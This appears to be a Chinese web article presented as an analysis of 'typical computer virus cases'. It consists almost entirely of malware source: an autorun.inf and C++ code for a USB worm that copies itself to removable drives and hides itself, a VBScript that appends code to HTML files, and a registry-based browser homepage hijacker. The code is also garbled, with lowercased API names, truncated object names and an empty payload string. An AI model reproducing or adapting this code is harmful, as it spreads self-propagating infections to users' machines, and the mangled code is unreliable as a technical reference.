计算机病毒典型案例分析|2017计算机病毒案例分析

电脑知识大全  点击:   2019-10-13

2017计算机病毒案例分析来自热点推荐。计算机病毒相信大家都不陌生,说不定有些同学之前还经历过自己的电脑也中了病毒,下面小编为大家讲之前发生过的计算机病毒案例!
  一、u盘病毒
  autorun.inf 文件
  [autorun]
  open=proj7_2.exe shell\open=打开(&o)
  shell\open\command=proj7_2.exe shell\explore=我的资源管理器(&x)
  shell\\explore\\command=proj7_2.exe
  proj7_2.cpp
  案例名称:u 盘恶意代码
  程序名称:proj7_2.cpp #include "stdafx.h" bool savetofile(char* path,char* data)
  { handle hfile; hfile=createfile(path, generic_write, 0, null, create_always, file_attribute_normal,null);
  if(hfile==invalid_handle_value)
  {/*continue; //出错时处理*/} dword dwwrite; writefile(hfile,data,strlen(data),&dwwrite,null); closehandle(hfile); return true; } bool infectu() { while(true) { uint revtype; char name[256]="h:\\" char szname[256]={0}; char topath[256]={0}; char infpath[256]={0}; char openu[80]={0};
  /遍历所有盘符
  for(byte i=0x42;i<0x5b;i=i+0x01)
  { name[0]=i; //得到盘符类型 revtype=getdrivetype(name); //判断是否是可移动存储设备
  if (revtype==drive_removable)
  { //得到自身文件路径 getmodulefilename(null,szname,256); //比较是否和u 盘的盘符相同 //如果相同说明在u 盘上执行,复制到系统中去 if(strncmp(name,szname,1)==0)
  { //得到系统目录 getsystemdirectory(topath,256); strcat(topath,"\\proj7_2.exe"); //把自身文件复制到系统目录 if(copyfile(szname,topath,true)) { //运行程序 winexec(topath,0); } strcpy(openu,"explorer "); strcat(openu,name);
  //打开u 盘 winexec(openu,1); return 0; }
  //如果不是在u 盘上执行,则感染u 盘 else { strcpy(topath,name); strcat(topath,"\\proj7_2.exe"); strcpy(infpath,name); strcat(infpath,"\\autorun.inf");
  //还原u 盘上的文件属性 setfileattributes(topath,file_attribute_normal);
  setfileattributes(infpath,file_attribute_normal); //删除原有文件 deletefile(topath); deletefile(infpath); //写autorun.inf 到u 盘 char* data; data = "[autorun]\r\nopen=proj7_2.exe\r\nshell\\open= 打开 (&o)\r\nshell\\explore=我的资源管理器 (&x)\r\nshell\\explore\\command=proj7_2.exe"; savetofile(infpath,data); //拷贝自身文件到u 盘 copyfile(szname,topath,false); //把这两个文件设置成系统,隐藏属性 setfileattributes(topath, file_attribute_hidden | file_attribute_system); setfileattributes(infpath, file_attribute_hidden | file_attribute_system); } } } //休眠60 秒,60 检测一次 sleep(60000); } } int apientry winmain(hinstance hinstance, hinstance hprevinstance, lpstr lpcmdline, int ncmdshow) { infectu(); return 0; }
  二、脚本病毒
  案例名称:脚本病毒
  程序名称:misery.vbs '遇到错误继续执行 on error resume next '遇到错误继续执行 on error resume next '定义变量 dim fso,curfolder,curfile '定一个文件操作对象 set fso = createobject("ing.filesystemobject") '得到当前目录 set curfolder = fso.getfolder(".") '得到当前目录的文件 set files = curfolder.files '文件的打开方式 const forreading = 1, forwriting = 2, forappending = 8 '向所有扩展名为htm/htm/html/html 的文件中写代码 for each file in files if ucase(right(file.name,3)) = "htm" or ucase(right(file.name,4)) = "html" then curfile = curfolder & "\" & file.name set f = fso.opentextfile(curfile, forappending, true) f.write vbcrlf f.write "" end if next f.close
  三、案例名称:浏览器恶意代码
  程序名称:proj7_1.cpp #include #include main() { hkey hkey1; dword dwdisposition; long lretcode; //创建 lretcode = regcreatekeyex ( hkey_local_machine, "software\\microsoft\\internet explorer\\main", 0, null, reg_option_non_volatile, key_write, null, &hkey1, &dwdisposition); //如果创建失败,显示出错信息 if (lretcode != error_success){ printf ("error in creating key\n"); return (0) } //设置键值 lretcode = regsetvalueex ( hkey1, "default_page_url", 0, reg_sz, (byte*)"http://www.sina.com.cn", 100); //如果创建失败,显示出错信息 if (lretcode != error_success) { printf ( "error in setting value\n"); return (0) } printf("注册表编写成功!\n"); return(0); }
相关文章
推荐内容
上一篇:最快的浏览器有哪些-最快的浏览器是哪
下一篇:电脑辐射有多远距离_电脑辐射有多远
Copyright 我能学习网_免费的学习网站 版权所有 All Rights Reserved